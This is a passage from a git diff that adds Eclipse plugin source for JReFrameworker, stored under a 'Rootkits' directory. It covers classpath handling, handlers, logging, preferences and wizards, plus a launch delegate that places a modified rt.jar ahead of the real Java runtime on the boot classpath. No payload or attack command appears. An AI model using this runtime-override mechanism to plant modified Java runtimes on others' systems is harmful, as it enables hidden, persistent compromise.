IClasspathEntry.CPE_LIBRARY, jProject.getProject().getFile(library.getName()).getLocation(), + ClasspathEntry.INCLUDE_ALL, // inclusion patterns + ClasspathEntry.EXCLUDE_NONE, // exclusion patterns + null, null, null, // specific output folder + false, // exported + ClasspathEntry.NO_ACCESS_RULES, false, // no access rules to combine + ClasspathEntry.NO_EXTRA_ATTRIBUTES); + } + + // add the new classpath entry to the project's existing entries + IClasspathEntry[] oldEntries = jProject.getRawClasspath(); + IClasspathEntry[] newEntries = new IClasspathEntry[oldEntries.length + 1]; + System.arraycopy(oldEntries, 0, newEntries, 0, oldEntries.length); + newEntries[oldEntries.length] = relativeLibraryEntry; + jProject.setRawClasspath(newEntries, null); + + // refresh project + jProject.getProject().refreshLocal(IResource.DEPTH_INFINITE, new NullProgressMonitor()); + + return relativeLibraryEntry.getPath().toString(); + } + + /** + * Restores the original classpath entries of the project + * @throws SAXException + * @throws IOException + * @throws ParserConfigurationException + * @throws CoreException + */ + public void restoreOriginalClasspathEntries() throws SAXException, IOException, ParserConfigurationException, CoreException { + Set runtimes = new HashSet(); + for(BuildFile.Target entry : getBuildFile().getTargets()){ + if(entry.isRuntime()){ + runtimes.add(entry.getName()); + } else { + File library = new File(((LibraryTarget) entry).getLibraryPath()); + if(library.exists()){ + // absolute path + updateProjectLibrary(library.getName(), library); + } else { + // relative path + String relativeLibraryPath = ((LibraryTarget) entry).getLibraryPath(); + if(!relativeLibraryPath.isEmpty()) { + library = project.getFile(relativeLibraryPath).getLocation().toFile(); + if(library.exists()){ + updateProjectLibrary(library.getName(), library); + } + } else { + Log.warning("Library " + entry.getName() + " is missing a path attribute in build file."); + } + } + } + } + if(!runtimes.isEmpty()){ + // search through the classpath's existing entries and replace the corresponding library entry + ArrayList entries = new ArrayList(); + for(IClasspathEntry entry : jProject.getRawClasspath()){ + if(!runtimes.contains(entry.getPath().toFile().getName())){ + entries.add(entry); + } + } + + // if it was removed, we may need to re-add the JRE container +// // adds classpath entry of: +// String path = org.eclipse.jdt.launching.JavaRuntime.JRE_CONTAINER + "/" + org.eclipse.jdt.internal.launching.StandardVMType.ID_STANDARD_VM_TYPE + "/" + "JavaSE-1.8"; +// +// // create a classpath entry for the library +// IClasspathEntry runtimesEntry = JavaCore.newContainerEntry(new Path(path)); +// entries.add(runtimesEntry); + + // update the classpath + IClasspathEntry[] classpath = new IClasspathEntry[entries.size()]; + entries.toArray(classpath); + jProject.setRawClasspath(classpath, null); + } + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/handlers/AddTargetHandler.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/handlers/AddTargetHandler.java new file mode 100644 index 0000000..8d7268f --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/handlers/AddTargetHandler.java @@ -0,0 +1,65 @@ +package com.jreframeworker.handlers; + +import java.io.File; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.jdt.core.IJavaProject; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.TreePath; +import org.eclipse.jface.viewers.TreeSelection; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; + +import com.jreframeworker.core.JReFrameworkerProject; +import com.jreframeworker.log.Log; + +public class AddTargetHandler extends AbstractHandler { + + @SuppressWarnings("restriction") + public Object execute(ExecutionEvent event) throws ExecutionException { + try { + // get the package explorer selection + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + ISelection selection = window.getSelectionService().getSelection("org.eclipse.jdt.ui.PackageExplorer"); + + if(selection == null){ + Log.warning("Selection must be a library file."); + return null; + } + + TreePath[] paths = ((TreeSelection) selection).getPaths(); + if(paths.length > 0){ + TreePath p = paths[0]; + Object last = p.getLastSegment(); + + // locate the project handle for the selection + IProject project = null; + if(last instanceof IJavaProject){ + project = ((IJavaProject) last).getProject(); + } else if (last instanceof IResource) { + project = ((IResource) last).getProject(); + } + + if(last instanceof org.eclipse.core.internal.resources.File){ + File library = ((org.eclipse.core.internal.resources.File)last).getLocation().toFile(); + JReFrameworkerProject jrefProject = new JReFrameworkerProject(project); + jrefProject.addTarget(library); + } else { + Log.warning("Selection must be a library file."); + } + } else { + Log.warning("Selection must be a library file."); + } + } catch (Exception e) { + Log.error("Unable to add target", e); + } + + return null; + } + + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/handlers/ResetClasspathHandler.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/handlers/ResetClasspathHandler.java new file mode 100644 index 0000000..2462fea --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/handlers/ResetClasspathHandler.java @@ -0,0 +1,62 @@ +package com.jreframeworker.handlers; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.jdt.core.IJavaProject; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.TreePath; +import org.eclipse.jface.viewers.TreeSelection; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; + +import com.jreframeworker.core.JReFrameworkerProject; +import com.jreframeworker.log.Log; + +public class ResetClasspathHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + try { + // get the package explorer selection + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + ISelection selection = window.getSelectionService().getSelection("org.eclipse.jdt.ui.PackageExplorer"); + + if(selection == null){ + Log.warning("Selection must be a project."); + return null; + } + + TreePath[] paths = ((TreeSelection) selection).getPaths(); + if(paths.length > 0){ + TreePath p = paths[0]; + Object last = p.getLastSegment(); + + // locate the project handle for the selection + IProject project = null; + if(last instanceof IJavaProject){ + project = ((IJavaProject) last).getProject(); + } else if (last instanceof IResource) { + project = ((IResource) last).getProject(); + } + + if(project == null){ + Log.warning("Selection must be a project."); + return null; + } + + JReFrameworkerProject jrefProject = new JReFrameworkerProject(project); + jrefProject.restoreOriginalClasspathEntries(); + jrefProject.refresh(); + } else { + Log.warning("Selection must be a project."); + } + } catch (Exception e) { + Log.error("Unable to reset project classpath", e); + } + + return null; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/launcher/JReFrameworkerLaunchDelegate.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/launcher/JReFrameworkerLaunchDelegate.java new file mode 100644 index 0000000..a904a97 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/launcher/JReFrameworkerLaunchDelegate.java @@ -0,0 +1,61 @@ +package com.jreframeworker.launcher; + +import java.io.File; +import java.util.Arrays; + +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.debug.core.ILaunch; +import org.eclipse.debug.core.ILaunchConfiguration; +import org.eclipse.jdt.core.IJavaProject; +import org.eclipse.jdt.launching.JavaLaunchDelegate; + +import com.jreframeworker.core.JReFrameworker; +import com.jreframeworker.log.Log; +import com.jreframeworker.preferences.JReFrameworkerPreferences; + +/** + * A basic Java application launcher that adds in a boot classpath to the modified runtime + * + * References: + * 1. https://www.eclipse.org/articles/Article-Launch-Framework/launch.html + * 2. http://alvinalexander.com/java/jwarehouse/eclipse/org.eclipse.jdt.launching/launching/org/eclipse/jdt/internal/launching/JavaAppletLaunchConfigurationDelegate.java.shtml + * 3. https://eclipse.org/articles/Article-Java-launch/launching-java.html + * + * Note: You can see the command line used to initiate a launch by right-clicking the + * resulting process in the Debug View and selecting Properties. This is useful for + * debugging a delegate. + * + * @author Ben Holland + */ +public class JReFrameworkerLaunchDelegate extends JavaLaunchDelegate { + + public static final String JREFRAMEWORKER_LAUNCH_CONFIGURATION_TYPE = "com.jreframeworker.launchConfigurationType"; + + @Override + public synchronized void launch(ILaunchConfiguration configuration, String mode, ILaunch launch, IProgressMonitor monitor) throws CoreException { + super.launch(configuration, mode, launch, monitor); + String mainTypeName = verifyMainTypeName(configuration); + IJavaProject jProject = getJavaProject(configuration); + if(JReFrameworkerPreferences.isVerboseLoggingEnabled()) { + Log.info("Launching... [Project: " + jProject.getProject().getName() + ", Main Class: " + mainTypeName + "]" + + "\nClasspath: " + Arrays.toString(this.getClasspath(configuration)) + + "\nBootpath: " + Arrays.toString(this.getBootpath(configuration)) + + "\nProgram Args: " + this.getProgramArguments(configuration) + + "\nVM Args: " + this.getVMArguments(configuration)); + } + } + + /** + * Prepends the modified runtime jar to the boot classpath + */ + @Override + public String getVMArguments(ILaunchConfiguration configuration) throws CoreException { + IJavaProject jProject = getJavaProject(configuration); + String bootClasspath = "-Xbootclasspath/p:" + + jProject.getProject().getFolder(JReFrameworker.BUILD_DIRECTORY) + .getLocation().toFile().getAbsolutePath() + File.separatorChar + "rt.jar"; + return bootClasspath + super.getVMArguments(configuration); + } + +} \ No newline at end of file diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/launcher/JReFrameworkerLaunchShortcut.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/launcher/JReFrameworkerLaunchShortcut.java new file mode 100644 index 0000000..bc5085c --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/launcher/JReFrameworkerLaunchShortcut.java @@ -0,0 +1,26 @@ +package com.jreframeworker.launcher; + +import org.eclipse.debug.core.DebugPlugin; +import org.eclipse.debug.core.ILaunchConfigurationType; +import org.eclipse.jdt.debug.ui.launchConfigurations.JavaApplicationLaunchShortcut; + +/** + * Launch shortcut for JReFrameworker launch profiles, which is just the same as a JavaApplicationLaunchShortcut + * + * References: + * 1. http://grepcode.com/file_/repository.grepcode.com/java/eclipse.org/3.5.2/org.eclipse.jdt.debug/ui/3.4.1/org/eclipse/jdt/debug/ui/launchConfigurations/JavaApplicationLaunchShortcut.java/?v=source + * 2. http://opensourcejavaphp.net/java/eclipse/org/eclipse/jdt/internal/debug/ui/launcher/JavaLaunchShortcut.java.html + * + * @author Ben Holland + */ +public class JReFrameworkerLaunchShortcut extends JavaApplicationLaunchShortcut { + + /** + * Overrides the launch configuration type to a JReFrameworker configuration + */ + @Override + protected ILaunchConfigurationType getConfigurationType() { + return DebugPlugin.getDefault().getLaunchManager().getLaunchConfigurationType(JReFrameworkerLaunchDelegate.JREFRAMEWORKER_LAUNCH_CONFIGURATION_TYPE); + } + +} \ No newline at end of file diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/launcher/JReFrameworkerTabGroup.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/launcher/JReFrameworkerTabGroup.java new file mode 100644 index 0000000..428b8ec --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/launcher/JReFrameworkerTabGroup.java @@ -0,0 +1,34 @@ +package com.jreframeworker.launcher; + +import org.eclipse.debug.ui.AbstractLaunchConfigurationTabGroup; +import org.eclipse.debug.ui.CommonTab; +import org.eclipse.debug.ui.EnvironmentTab; +import org.eclipse.debug.ui.ILaunchConfigurationDialog; +import org.eclipse.debug.ui.ILaunchConfigurationTab; +import org.eclipse.jdt.debug.ui.launchConfigurations.JavaArgumentsTab; +import org.eclipse.jdt.debug.ui.launchConfigurations.JavaClasspathTab; +import org.eclipse.jdt.debug.ui.launchConfigurations.JavaJRETab; +import org.eclipse.jdt.debug.ui.launchConfigurations.JavaMainTab; + +public class JReFrameworkerTabGroup extends AbstractLaunchConfigurationTabGroup { + + /** + * Creates the tabs contained in this tab group for the specified launch + * mode. + * + * @author Ben Holland + */ + @Override + public void createTabs(ILaunchConfigurationDialog dialog, String mode) { + ILaunchConfigurationTab[] tabs = new ILaunchConfigurationTab[] { + new JavaMainTab(), + new JavaArgumentsTab(), + new JavaJRETab(), + new JavaClasspathTab(), + new EnvironmentTab(), + new CommonTab() + }; + setTabs(tabs); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/log/Log.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/log/Log.java new file mode 100644 index 0000000..f909f62 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/log/Log.java @@ -0,0 +1,55 @@ +package com.jreframeworker.log; + +import org.eclipse.core.runtime.ILog; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.Status; +import org.osgi.framework.Bundle; +import org.osgi.framework.BundleContext; + +import com.jreframeworker.Activator; + +/** + * Centralized logging for Eclipse plugins. + */ +public class Log { + private static ILog log; + + static { + BundleContext context = Activator.getDefault().getBundle().getBundleContext(); + if (context != null) { + Bundle bundle = context.getBundle(); + log = Platform.getLog(bundle); + } + } + + public static void error(String message, Throwable e) { + log(Status.ERROR, message, e); + } + + public static void warning(String message) { + warning(message, null); + } + + public static void warning(String message, Throwable e) { + log(Status.WARNING, message, e); + } + + public static void info(String message) { + info(message, null); + } + + public static void info(String message, Throwable e) { + log(Status.INFO, message, e); + } + + public static void log(int severity, String string, Throwable e) { + if(log == null){ + System.err.println(string + "\n" + e); + } else { + IStatus status = new Status(severity, Activator.PLUGIN_ID, string, e); + log.log(status); + } + } +} + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/preferences/JReFrameworkerPreferences.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/preferences/JReFrameworkerPreferences.java new file mode 100644 index 0000000..6e27626 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/preferences/JReFrameworkerPreferences.java @@ -0,0 +1,93 @@ +package com.jreframeworker.preferences; + +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.jface.preference.IPreferenceStore; + +import com.jreframeworker.Activator; +import com.jreframeworker.log.Log; + +public class JReFrameworkerPreferences extends AbstractPreferenceInitializer { + + private static boolean initialized = false; + + /** + * Merge renaming prefix + */ + public static final String MERGE_RENAMING_PREFIX = "MERGE_RENAMING_PREFIX"; + public static final String MERGE_RENAMING_PREFIX_DEFAULT = "jref_"; + private static String mergeRenamePrefixValue = MERGE_RENAMING_PREFIX_DEFAULT; + + /** + * Configures merge renaming prefix + */ + public static void setMergeRenamingPrefix(String prefix){ + IPreferenceStore preferences = Activator.getDefault().getPreferenceStore(); + preferences.setValue(MERGE_RENAMING_PREFIX, prefix); + loadPreferences(); + } + + /** + * Returns the merge renaming prefix + * @return + */ + public static String getMergeRenamingPrefix(){ + if(!initialized){ + loadPreferences(); + } + return mergeRenamePrefixValue; + } + + /** + * Enable/disable verbose logging + */ + public static final String VERBOSE_LOGGING = "VERBOSE_LOGGING"; + public static final Boolean VERBOSE_LOGGING_DEFAULT = false; + private static boolean verboseLoggingValue = VERBOSE_LOGGING_DEFAULT; + + /** + * Configures verbose logging + */ + public static void enableVerboseLogging(boolean enabled){ + IPreferenceStore preferences = Activator.getDefault().getPreferenceStore(); + preferences.setValue(VERBOSE_LOGGING, enabled); + loadPreferences(); + } + + public static boolean isVerboseLoggingEnabled(){ + if(!initialized){ + loadPreferences(); + } + return verboseLoggingValue; + } + + @Override + public void initializeDefaultPreferences() { + IPreferenceStore preferences = Activator.getDefault().getPreferenceStore(); + preferences.setDefault(MERGE_RENAMING_PREFIX, MERGE_RENAMING_PREFIX_DEFAULT); + preferences.setDefault(VERBOSE_LOGGING, VERBOSE_LOGGING_DEFAULT); + } + + /** + * Restores the default preferences + */ + public static void restoreDefaults(){ + IPreferenceStore preferences = Activator.getDefault().getPreferenceStore(); + preferences.setValue(MERGE_RENAMING_PREFIX, MERGE_RENAMING_PREFIX_DEFAULT); + preferences.setValue(VERBOSE_LOGGING, VERBOSE_LOGGING_DEFAULT); + loadPreferences(); + } + + /** + * Loads or refreshes current preference values + */ + public static void loadPreferences() { + try { + IPreferenceStore preferences = Activator.getDefault().getPreferenceStore(); + mergeRenamePrefixValue = preferences.getString(MERGE_RENAMING_PREFIX); + verboseLoggingValue = preferences.getBoolean(VERBOSE_LOGGING); + } catch (Exception e){ + Log.warning("Error accessing JReFrameworker preferences, using defaults...", e); + } + initialized = true; + } +} \ No newline at end of file diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/ui/ImportWizard.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/ui/ImportWizard.java new file mode 100644 index 0000000..734864f --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/ui/ImportWizard.java @@ -0,0 +1,23 @@ +package com.jreframeworker.ui; + +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.wizard.Wizard; +import org.eclipse.ui.IImportWizard; +import org.eclipse.ui.IWorkbench; + +public class ImportWizard extends Wizard implements IImportWizard { + + @Override + public void init(IWorkbench workbench, IStructuredSelection selection) { + // TODO Auto-generated method stub + + } + + @Override + public boolean performFinish() { + // TODO Auto-generated method stub + return false; + } + + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/ui/NewProjectPage.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/ui/NewProjectPage.java new file mode 100644 index 0000000..8e400d9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/ui/NewProjectPage.java @@ -0,0 +1,25 @@ +package com.jreframeworker.ui; + +import org.eclipse.swt.widgets.Composite; +import org.eclipse.ui.dialogs.WizardNewProjectCreationPage; + +public class NewProjectPage extends WizardNewProjectCreationPage { + + /** + * @wbp.parser.constructor + */ + public NewProjectPage(String pageName) { + super(pageName); + } + + @Override + public void createControl(Composite parent) { + super.createControl(parent); +// Composite composite = (Composite) this.getControl(); + } + + @Override + public boolean validatePage(){ + return true; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/ui/NewProjectWizard.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/ui/NewProjectWizard.java new file mode 100644 index 0000000..dc97bfd --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/ui/NewProjectWizard.java @@ -0,0 +1,102 @@ +package com.jreframeworker.ui; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.wizard.Wizard; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.INewWizard; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.progress.UIJob; + +import com.jreframeworker.core.BuildFile; +import com.jreframeworker.core.JReFrameworker; +import com.jreframeworker.log.Log; + +public class NewProjectWizard extends Wizard implements INewWizard { + + private NewProjectPage page; + + public NewProjectWizard(String startRuntimePath) { + page = new NewProjectPage("Create JReFrameworker Runtime Project"); + String projectName = new File(startRuntimePath).getName(); + projectName = projectName.substring(0, projectName.lastIndexOf('.')); + IProject project = ResourcesPlugin.getWorkspace().getRoot().getProject(projectName); + if (project.exists()) { + // find a project name that doesn't collide + int i = 2; + while (project.exists()) { + i++; + project = ResourcesPlugin.getWorkspace().getRoot().getProject(projectName + "_" + i); + } + projectName = projectName + "_" + i; + } + page.setInitialProjectName(projectName); + this.setWindowTitle("Create JReFrameworker Runtime Project"); + } + + public NewProjectWizard() { + page = new NewProjectPage("Create JReFrameworker Runtime Project"); + this.setWindowTitle("Create JReFrameworker Runtime Project"); + } + + @Override + public void init(IWorkbench workbench, IStructuredSelection selection) { + } + + @Override + public void addPages() { + this.addPage(page); + } + + @Override + public boolean performFinish() { + final String projectName = page.getProjectName(); + final IPath projectLocation = page.getLocationPath(); + + IRunnableWithProgress j = new IRunnableWithProgress() { + @Override + public void run(IProgressMonitor monitor) { + IStatus result = null; + try { + BuildFile.Target[] targets = new BuildFile.Target[]{}; + result = JReFrameworker.createProject(projectName, projectLocation, monitor, targets); + } catch (Throwable t) { + String message = "Could not create JReFrameworker runtime project. " + t.getMessage(); + UIJob uiJob = new WizardErrorDialog("Error creating project...", message, projectName); + uiJob.schedule(); + Log.error(message, t); + } finally { + monitor.done(); + } + if (result != null && result.equals(Status.CANCEL_STATUS)) { + IProject project = ResourcesPlugin.getWorkspace().getRoot().getProject(projectName); + JReFrameworker.deleteProject(project); + } + } + }; + + Shell shell = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell(); + ProgressMonitorDialog dialog = new ProgressMonitorDialog(shell); + + try { + dialog.run(true, true, j); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + return true; + } + +} \ No newline at end of file diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/ui/PreferencesPage.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/ui/PreferencesPage.java new file mode 100644 index 0000000..7e19f6e --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/ui/PreferencesPage.java @@ -0,0 +1,41 @@ +package com.jreframeworker.ui; + +import org.eclipse.jface.preference.BooleanFieldEditor; +import org.eclipse.jface.preference.FieldEditorPreferencePage; +import org.eclipse.jface.preference.StringFieldEditor; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +import com.jreframeworker.Activator; +import com.jreframeworker.preferences.JReFrameworkerPreferences; + +public class PreferencesPage extends FieldEditorPreferencePage implements IWorkbenchPreferencePage { + + public static final String MERGE_RENAME_PREFIX_DESCRIPTION = "Merge Renaming Prefix"; + public static final String VERBOSE_LOGGING_DESCRIPTION = "Verbose Logging"; + + public PreferencesPage() { + super(GRID); + } + + @Override + public void init(IWorkbench workbench) { + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + setDescription("Configure preferences for the JReFrameworker."); + } + + @Override + protected void createFieldEditors() { + StringFieldEditor mergeRenamingPrefixStringField = new StringFieldEditor(JReFrameworkerPreferences.MERGE_RENAMING_PREFIX, "&" + MERGE_RENAME_PREFIX_DESCRIPTION, getFieldEditorParent()); + // class files do not have a defined max length, see http://stackoverflow.com/a/695959/475329 + // but if long prefixes becomes a problem use the setTextLimit(int) method to limit input length + mergeRenamingPrefixStringField.setEmptyStringAllowed(false); + String mergeRenamingPrefix = JReFrameworkerPreferences.getMergeRenamingPrefix(); + if(mergeRenamingPrefix == null || mergeRenamingPrefix.equals("")){ + mergeRenamingPrefixStringField.setStringValue(JReFrameworkerPreferences.MERGE_RENAMING_PREFIX_DEFAULT); + } + addField(mergeRenamingPrefixStringField); + addField(new BooleanFieldEditor(JReFrameworkerPreferences.VERBOSE_LOGGING, "&" + VERBOSE_LOGGING_DESCRIPTION, getFieldEditorParent())); + } + +} \ No newline at end of file diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/ui/WizardErrorDialog.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/ui/WizardErrorDialog.java new file mode 100644 index 0000000..ff1529f --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/ui/WizardErrorDialog.java @@ -0,0 +1,66 @@ +package com.jreframeworker.ui; + +import java.io.File; +import java.io.IOException; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.graphics.Image; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.progress.UIJob; +import org.osgi.framework.Bundle; + +import com.jreframeworker.Activator; +import com.jreframeworker.core.JReFrameworker; +import com.jreframeworker.log.Log; + +public class WizardErrorDialog extends UIJob { + + private String message, projectName; + + public WizardErrorDialog(String name, String errorMessage, String projectName) { + super(name); + this.message = errorMessage; + this.projectName = projectName; + } + + @Override + public IStatus runInUIThread(IProgressMonitor monitor) { + Path iconPath = new Path("icons" + File.separator + "JReFrameworker.gif"); + Bundle bundle = Platform.getBundle(Activator.PLUGIN_ID); + Image icon = null; + try { + icon = new Image(PlatformUI.getWorkbench().getDisplay(), FileLocator.find(bundle, iconPath, null).openStream()); + } catch (IOException e) { + Log.error("JReFrameworker.gif icon is missing.", e); + }; + MessageDialog dialog = new MessageDialog(PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell(), + "Could Not Create JReFrameworker Runtime Project", + icon, + message, + MessageDialog.ERROR, + new String[] { "Delete Project", "Cancel" }, + 0); + int response = dialog.open(); + + IStatus status = Status.OK_STATUS; + if (response == 0) { + IProject project = ResourcesPlugin.getWorkspace().getRoot().getProject(projectName); + status = JReFrameworker.deleteProject(project); + } + + if (icon != null){ + icon.dispose(); + } + + return status; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/org/eclipse/wb/swt/SWTResourceManager.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/org/eclipse/wb/swt/SWTResourceManager.java new file mode 100644 index 0000000..d8a2858 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/org/eclipse/wb/swt/SWTResourceManager.java @@ -0,0 +1,447 @@ +/******************************************************************************* + * Copyright (c) 2011 Google, Inc. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * Google, Inc. - initial API and implementation + *******************************************************************************/ +package org.eclipse.wb.swt; + +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.util.HashMap; +import java.util.Map; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.ImageData; +import org.eclipse.swt.graphics.RGB; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Display; + +/** + * Utility class for managing OS resources associated with SWT controls such as colors, fonts, images, etc. + *

+ * !!! IMPORTANT !!! Application code must explicitly invoke the dispose() method to release the + * operating system resources managed by cached objects when those objects and OS resources are no longer + * needed (e.g. on application shutdown) + *

+ * This class may be freely distributed as part of any application or plugin. + *

+ * @author scheglov_ke + * @author Dan Rubel + */ +public class SWTResourceManager { + //////////////////////////////////////////////////////////////////////////// + // + // Color + // + //////////////////////////////////////////////////////////////////////////// + private static Map m_colorMap = new HashMap(); + /** + * Returns the system {@link Color} matching the specific ID. + * + * @param systemColorID + * the ID value for the color + * @return the system {@link Color} matching the specific ID + */ + public static Color getColor(int systemColorID) { + Display display = Display.getCurrent(); + return display.getSystemColor(systemColorID); + } + /** + * Returns a {@link Color} given its red, green and blue component values. + * + * @param r + * the red component of the color + * @param g + * the green component of the color + * @param b + * the blue component of the color + * @return the {@link Color} matching the given red, green and blue component values + */ + public static Color getColor(int r, int g, int b) { + return getColor(new RGB(r, g, b)); + } + /** + * Returns a {@link Color} given its RGB value. + * + * @param rgb + * the {@link RGB} value of the color + * @return the {@link Color} matching the RGB value + */ + public static Color getColor(RGB rgb) { + Color color = m_colorMap.get(rgb); + if (color == null) { + Display display = Display.getCurrent(); + color = new Color(display, rgb); + m_colorMap.put(rgb, color); + } + return color; + } + /** + * Dispose of all the cached {@link Color}'s. + */ + public static void disposeColors() { + for (Color color : m_colorMap.values()) { + color.dispose(); + } + m_colorMap.clear(); + } + //////////////////////////////////////////////////////////////////////////// + // + // Image + // + //////////////////////////////////////////////////////////////////////////// + /** + * Maps image paths to images. + */ + private static Map m_imageMap = new HashMap(); + /** + * Returns an {@link Image} encoded by the specified {@link InputStream}. + * + * @param stream + * the {@link InputStream} encoding the image data + * @return the {@link Image} encoded by the specified input stream + */ + protected static Image getImage(InputStream stream) throws IOException { + try { + Display display = Display.getCurrent(); + ImageData data = new ImageData(stream); + if (data.transparentPixel > 0) { + return new Image(display, data, data.getTransparencyMask()); + } + return new Image(display, data); + } finally { + stream.close(); 